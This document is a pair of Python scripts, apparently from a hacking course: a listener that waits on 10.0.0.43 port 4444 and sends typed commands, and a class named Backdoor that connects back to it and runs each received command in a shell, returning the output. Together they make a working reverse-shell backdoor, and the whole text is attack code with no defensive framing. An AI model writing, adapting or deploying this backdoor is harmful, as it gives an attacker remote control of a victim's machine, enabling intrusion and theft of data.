#!/usr/bin/env python

import socket

class Listener:

    def __init__(self, ip, port):

        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        listener.bind((ip, port))

        listener.listen(0)

        print("[+] Waiting for incoming connections")

        self.connection, address = listener.accept()

        print("[+] Got a connection from " + str(address))

    def execute_remotely(self, command):

        self.connection.send(command)

        return self.connection.recv(1024).decode()

    def run(self):

        while True:

            command = input(">> ").encode()

            result = self.execute_remotely(command)

            print(result)

my_listener = Listener("10.0.0.43", 4444)

my_listener.run()

#!/usr/bin/env python

import socket

import subprocess

class Backdoor:

    def __init__(self, ip, port):

        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.connection.connect((ip, port))

    def execute_system_command(self, command):

        return subprocess.check_output(command, shell=True)

    def run(self):

        while True:

            command = self.connection.recv(1024).decode()

            command_result = self.execute_system_command(command)

            self.connection.send(command_result)

        connection.close()

my_backdoor = Backdoor("10.0.0.43", 4444)

my_backdoor.run()